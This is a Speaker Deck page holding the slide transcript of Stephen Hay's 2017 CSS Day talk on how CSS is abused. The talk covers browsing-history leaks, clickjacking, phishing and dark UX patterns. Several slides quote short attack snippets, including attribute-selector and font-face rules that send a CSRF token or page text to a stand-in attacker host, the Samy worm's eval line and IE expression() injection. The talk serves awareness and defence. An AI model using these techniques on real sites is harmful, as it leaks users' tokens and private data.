Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2
1.2k
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
Tweet
Share
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
130
The Tail and Its Dog
stephenhay
1
300
From Deception to Clarity
stephenhay
4
600
Sculpting Text
stephenhay
4
830
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
500
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
530
Flexbox: One Giant Leap for Web Layout
stephenhay
6
390
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
920
Flexbox: One Giant Leap for Web Layout
stephenhay
5
160
Other Decks in Design
See All in Design
Building a mindful relationship with digital media for zillennials prone to anxiety
mastervicedesign
0
160
デザインプリンシプルのつくりかた(freee技術の日)
magi1125
3
2.7k
速攻で価値検証して無駄なものを作らないプロダクトデザイン
cremacrema
3
320
丸井グループが取り組むエンタープライズアジャイルと プロダクトマネージャーの役割
muture
3
1.2k
Rebuilding Stamen’s iconic map styles with Stadia Maps
almccon
0
100
Sunny Day Storyboard
ctagulao98
0
190
他人事じゃないWebアクセシビリティ入門
arihiro17
0
370
プロジェクトを成功に導く、デザイナーの仕事
akaneyoshikawa
1
290
良いアプリケーションをデザインするための感覚の持ち方 / Cultivating a Sense for Designing Great Applications
usagimaru
23
9.1k
Blender 4.1 で レッツ Vket Cloud!
kamera25
0
200
Breaking News on the Web
souvikdg
0
380
エムスリー株式会社 デザイングループ紹介資料 / m3design-team-profile
m3designer
0
810
Featured
See All Featured
Happy Clients
brianwarren
94
6.6k
Practical Orchestrator
shlominoach
185
10k
Building a Scalable Design System with Sketch
lauravandoore
458
32k
The Cost Of JavaScript in 2023
addyosmani
31
4.7k
Ruby is Unlike a Banana
tanoku
96
10k
[RailsConf 2023 Opening Keynote] The Magic of Rails
eileencodes
17
8.7k
Creatively Recalculating Your Daily Design Routine
revolveconf
214
11k
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
90
47k
The Invisible Side of Design
smashingmag
294
50k
Rails Girls Zürich Keynote
gr2m
93
13k
Building a Modern Day E-commerce SEO Strategy
aleyda
25
6.7k
The Power of CSS Pseudo Elements
geoffreycrofte
64
5.2k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens